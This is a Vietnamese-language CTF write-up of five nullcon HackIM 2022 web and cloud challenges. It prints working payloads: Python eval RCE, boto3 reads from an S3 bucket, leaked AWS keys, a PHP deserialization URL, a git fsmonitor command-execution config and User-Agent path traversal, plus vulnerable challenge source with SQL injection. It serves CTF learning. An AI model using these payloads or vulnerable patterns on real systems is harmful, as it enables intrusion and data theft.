# nullcon Goa HackIM CTF 2022 Writeup
## Cloud 9*9

Giao diện web challenge nhìn qua cũng khá đơn giản, chỉ có vẻ là một máy tính toán bình thường. 🥴

Server sử dụng flask/python nên mình nghĩ ngay đến ssti nhưng khi thử payload `{{7*7}}` thì có nhảy ra exception:

Error xuất hiện khi call `eval(event['input'])` không hợp lệ

Như vậy thì thay vì truyền payload template thì mình sẽ truyền thẳng payload để rce lên server
```python=
__import__('subprocess').getoutput('id')
```

Đến được đây chắc chắn mình sẽ đọc file `lambda-function.py` đầu tiên
```python=
import json
def lambda_handler(event, context):
return {
'result' : eval(event['input'])
#flag in nullcon-s3bucket-flag4 ......
}
```
Với `lambda_handler` ta có thể tạo ra 1 GET request để xử lí dữ liệu và trả về người dùng
Đọc thêm: [S3 Object Lamda](https://aws.amazon.com/blogs/aws/introducing-amazon-s3-object-lambda-use-your-code-to-process-data-as-it-is-being-retrieved-from-s3/)
Bây giờ ta sẽ xem hàm `lambda_handler` này có thể remote file được trên bucket `nullcon-s3bucket-flag4` hay không
Sau một hồi research thì mình có để ý trên server có package `boto3`

Từ đây ta sẽ call 1 hàm để lấy ra các file trên bucket chỉ định

Mình sẽ sử dụng hàm `list_objects`
```python=
__import__('boto3').client('s3').list_objects(Bucket='nullcon-s3bucket-flag4')
```
Do function trả về dạng `dict` nên datetime không serialize được

Mình sẽ gọi thẳng file ra

Vậy payload:
```python=
__import__('boto3').client('s3').list_objects(Bucket='nullcon-s3bucket-flag4')['Contents'][0]['Key']
```

Oh shietzzz, gần ra flag rầu :pregnant_woman:
Đến đây đã có `Key` là `flag4.txt` và `Bucket` là `nullcon-s3bucket-flag4`
Mình sẽ dùng hàm `get_object` để đọc nội dung file `flag4.txt`

Và response từ hàm `get_object`

Payload:
```python=
__import__('boto3').client('s3').get_object(Bucket='nullcon-s3bucket-flag4',Key='flag4.txt')['Body']
```

Hmm `streamingBody` không serialize được :zany_face:
Sau khi stackoverflow thì mình cx solve được

Payload:
```python=
__import__('boto3').client('s3').get_object(Bucket='nullcon-s3bucket-flag4',Key='flag4.txt')['Body'].read().decode('utf-8')
```
UwU

Done flag là `ENO{L4mbda_make5_yu0_THINK_OF_ENVeryone}`
## More than meets the eye

Vẫn là web challenge cũ nhưng còn có đường đi khác, mình bắt đầu check view-source và thấy bucket còn 1 đống resource chưa xem

Thẻ image này có sử dụng bucket s3 để lưu các file static được access public
Ngoài thẻ svg ra t còn 2 file là `.boto` và `dummy_credentials`

```python=
# dummy_credentials
admin:5730df0sd8f4gsg
```
```conf=
# .boto
[Credentials]
aws_access_key_id = AKIA22D7J5LELFTREN7Z
aws_secret_access_key = 3IxS0lVvB661e1oxT4Wz0YRFDj7d4HJtWlJhiq5A
```
Có được access_key và secret_access_key đến đây thì mình sẽ config aws-cli như mẫu:

Qua bước đó mình sẽ lấy các thông tin của user qua bộ key trên bằng cmd sau:
```bash=
aws sts get-caller-identity
```
Đọc thêm: [How to Get your Account ID with AWS CLI](https://bobbyhadz.com/blog/aws-cli-get-account-id)

Tadaaa, đã lấy được thông tin mình chắc chắn flag là `ENO{W0W_sO_M4ny_Pu8l1c_F1leS}`
P/s: ban đầu mình còn tưởng nó là flag của `Cloud 9*9` nhưng không phải 🥺
## Jsonify

Challenge này cho 1 file php đã xóa toàn bộ dấu cách nên mình mất ít thời gian để beatifulize lại
Source code:
```php=
<?php
ini_set('allow_url_fopen', false);
interface SecurSerializable
{
public function __construct();
public function __shutdown();
public function __startup();
public function __toString();
}
class Flag implements SecurSerializable
{
public $flag;
public $flagfile;
public $properties = array();
public function __construct($flagfile = null)
{
if (isset($flagfile)) {
$this->flagfile = $flagfile;
}
}
public function __shutdown()
{
return $this->properties;
}
public function __startup()
{
$this->readFlag();
}
public function __toString()
{
return "ClassFlag(" . $this->flag . ")";
}
public function setFlag($flag)
{
$this->flag = $flag;
}
public function getFlag()
{
return $this->flag;
}
public function setFlagFile($flagfile)
{
if (stristr($flagfile, "flag") || !file_exists($flagfile)) {
echo "ERROR: File is not valid!";
return;
}
$this->flagfile = $flagfile;
}
public function getFlagFile()
{
return $this->flagfile;
}
public function readFlag()
{
if (!isset($this->flag) && file_exists($this->flagfile)) {
$this->flag = join("", file($this->flagfile));
}
}
public function showFlag()
{
if ($this->isAllowedToSeeFlag) {
echo "Theflagis:" . $this->flag;
} else {
echo "Theflagis:[You'renotallowedtoseeit!]";
}
}
}
function secure_jsonify($obj)
{
$data = array();
$data['class'] = get_class($obj);
$data['properties'] = array();
foreach ($obj->__shutdown() as & $key) {
$data['properties'][$key] = serialize($obj->$key);
}
return json_encode($data);
}
function secure_unjsonify($json, $allowed_classes)
{
$data = json_decode($json, true);
if (!in_array($data['class'], $allowed_classes)) {
throw new Exception("ErrorProcessingRequest", 1);
}
$obj = new $data['class']();
foreach ($data['properties'] as $key => $value) {
$obj->$key = unserialize($value, ['allowed_classes' => false]);
}
$obj->__startup();
return $obj;
}
if (isset($_GET['show']) && isset($_GET['obj']) && isset($_GET['flagfile'])) {
$f = secure_unjsonify($_GET['obj'], array(
'Flag'
));
echo $f;
$f->setFlagFile($_GET['flagfile']);
$f->readFlag();
$f->showFlag();
} else if (isset($_GET['show'])) {
$f = new Flag();
$f->flagfile = "./flag.php";
$f->readFlag();
$f->showFlag();
} else {
header("Content-Type:text/plain");
echo preg_replace('/\s+/', '', str_replace("\n", '', file_get_contents("./jsonify.php")));
}
```
Theo như flow thì mình phải truyền querystring `show`, `obj`, `flagfile`
Hàm `secure_jsonify` không được call trong code nhưng lại được define trong chương trình.
```php=
function secure_jsonify($obj)
{
$data = array();
$data['class'] = get_class($obj);
$data['properties'] = array();
foreach ($obj->__shutdown() as & $key) {
$data['properties'][$key] = serialize($obj->$key);
}
return json_encode($data);
}
```
`$data` khởi tạo 1 array/object mới
`$data['class'] = get_class($obj)` để lấy ra tên của class ở đây trả về `Flag`
`$data['properties'] = array();` khởi tạo 1 array
Khi foreach `$obj` gọi đến `__shutdown` trả về array của `$obj->properties` và serialize lại giá trị truyền vào từ các property trên.
Bây giờ mình tạo 1 script php serialize để set cho `flagfile` thành `./flag.php`
```php=
public function setFlagFile($flagfile)
{
if (stristr($flagfile, "flag") || !file_exists($flagfile)) {
echo "ERROR: File is not valid!";
return;
}
$this->flagfile = $flagfile;
}
```
Nhưng args của function `setFlagFile` mình không thể bypass được nên mình sẽ truyền thẳng giá trị cho `$this->flagfile` thành `./flag.php`
Trong source có sử dụng 1 interface để khai báo các methods cho class

Những hàm được define này bắt buộc phải được call
Nếu chỉ define như này

Thì code sẽ báo lỗi do chưa implement các methods này

Trong hàm `secure_unjsonify` có gọi đến method `__startup` để `readflag`


Vậy mình sẽ không cần quan tâm đến 2 dòng dưới này do flag đã được return ở trên

Bây giờ để cal được hàm `showFlag` và in ra `$this->flag` từ class `Flag`

Chuyển giá trị của `$this->isAllowedToSeeFlag` thành true
Xong bước bypass, sau đó mình cần thêm các `properties` cho class-serialize

Gen serialize:
```php=
<?php
class Flag
{
public $flag;
public $flagfile;
public $properties = array();
public function __construct($flagfile = null)
{
if (isset($flagfile)) {
$this->flagfile = $flagfile;
}
}
public function __shutdown()
{
return $this->properties;
}
public function __startup()
{
$this->readFlag();
}
public function __toString()
{
return "ClassFlag(" . $this->flag . ")";
}
public function readFlag()
{
if (!isset($this->flag) && file_exists($this->flagfile)) {
$this->flag = join("", file($this->flagfile));
}
}
}
function secure_jsonify($obj)
{
$data = array();
$data['class'] = get_class($obj);
$data['properties'] = array();
foreach ($obj->__shutdown() as &$key) {
$data['properties'][$key] = serialize($obj->$key);
}
return json_encode($data);
}
$obj = new Flag();
$obj->properties = ['isAllowedToSeeFlag', 'flagfile'];
$obj->isAllowedToSeeFlag = true;
$obj->flagfile = '/etc/passwd';
echo secure_jsonify($obj);
```

Đến đây ta chỉ cần truyền vào qs của obj để đọc file `/etc/passwd`

`ERROR: File is not valid!` do từ hàm `setFlagFile` truyền file không hợp lệ từ ``$_GET['flagfile']`` (không quan tâm) ở dòng 97 ở trên

Lấy flag `$obj->flagfile = './flag.php';`
Payload:
```
http://52.59.124.14:10002/?show&obj={"class":"Flag","properties":{"isAllowedToSeeFlag":"b:1;","flagfile":"s:10:\".\/flag.php\";"}}&flagfile=bu
```

Done flag là `ENO{PHPwn_1337_hakkrz}`
## Git To the Core

Đề bài cho 1 server shell là tool để dump .git folder từ 1 URL

Hoàn toàn ta có thể RCE được do trên server chỉ allow các args từ git
Gần đây có một lỗi từ `CVE-2022-24765` cho phép exec shell từ git config

Với `fsmonitor` là 1 tham số để ta có thể monitor được file system

Ta sẽ tạo 1 repo git và 1 file config như sau:
```conf=
# .git/config
[core]
fsmonitor = "echo \"$(id)\">&2; false"
```
Test trên local:

Forward port vào test thử:

Đã RCE thành công bây giờ ta sẽ xem file flag nằm ở đâu

Read file `/FLAG` là xong
```conf=
[core]
fsmonitor = "echo \"$(cat /FLAG)\">&2; false"
```

Done flag là `ENO{G1T_1S_FUn_T0_H4cK}`
## i love browsers

Với challenge này thì ban đầu mình cũng chưa có ý tưởng gì nhưng sau khi thằng cu em Hưng Chiến có nói là có thể dùng `User-Agent` để khai thác mình đã thử đục vào nó xem thế nào

Nhưng mình vẫn đéo khai thác được gì 😆
Vậy thì chờ khi hết giải mấy ông trong discord có hint

Mình thử ngay User-Agent bằng 2 dấu chấm xem thế nào

Đến đây thì mình cũng ngờ ngợ được rằng backend sẽ đọc các file trên server 🤔
Khi thay đổi đến mỗi User-Agent khác nhau thì nội dung trên trang cũng khác nhau

Mình thử đọc 1 file trên system bằng absolute path `/etc/passwd`

Tưởng không dễ ai ngờ dễ không tưởng lấy flag hoy 😑

Done flag là `ENO{Why,os.path,why?}`
Chắc phải có âm mưa gì đó chứ người bình thường không thể nào config như này được 🐧

Source code server:
```python=
from flask import Flask, render_template
import sqlite3
import os
import re
from flask import Flask, request, redirect, url_for, g
app = Flask(__name__)
data_base_url = "/app/browserinfo/"
#data_base_url = "/home/nicwer/programming/nullcongoa/web/compose_flask/browserinfo/"
DATABASE = 'database.db'
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(DATABASE)
return db
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
def query_db(query, args=(), one=False):
cur = get_db().execute(query, args)
rv = cur.fetchall()
cur.close()
return (rv[0] if rv else None) if one else rv
@app.route("/", methods=['GET', 'POST'])
def test():
ua = request.headers.get('User-Agent')
ua2 = re.sub(r"\/([0-9]*\.*)*$","",ua.split(" ")[-1])
if ".." in ua2:
return '<a href="https://xkcd.com/838/">This incident will be reported</a>'
fn = os.path.join(data_base_url,ua2)
try:
f = open(fn)
browserinfo = f.read()
# app.logger.info(browserinfo)
aa = query_db("SELECT * FROM comments WHERE browser=='" + ua2[0].lower() + "'")
comments = []
for bb in aa:
comment = {"name":bb[2],"content":bb[3]}
comments += comment,
pass
except Exception as ex:
return "You are using an unsupported browser."
return render_template('index.html',browser=ua2,binfo=browserinfo,comments=comments)
@app.route("/test", methods=['POST'])
def aaa():
ua = request.headers.get('User-Agent')
ua2 = re.sub(r"\/([0-9]*\.*)*$","",ua.split(" ")[-1])
browser = ua2[0].lower()
user = request.form['user']
comment = request.form['comment']
qstr = 'INSERT INTO comments (browser,username,comment) VALUES("' + str(browser) + '","' +str(user)+'","'+str(comment)+'");'
print(qstr)
if len(user) > 20 or len(comment) >500:
return redirect('/')
try:
c = get_db().cursor()
print("cursor got")
c.execute(qstr)
get_db().commit()
except:
print("An error has occured")
return redirect('/')
if __name__ == "__main__":
port = int(os.environ.get('PORT', 5000))
app.run(debug=False, host='0.0.0.0', port=port)
```
:::success
🤕 Make KCSC Great Forever
:::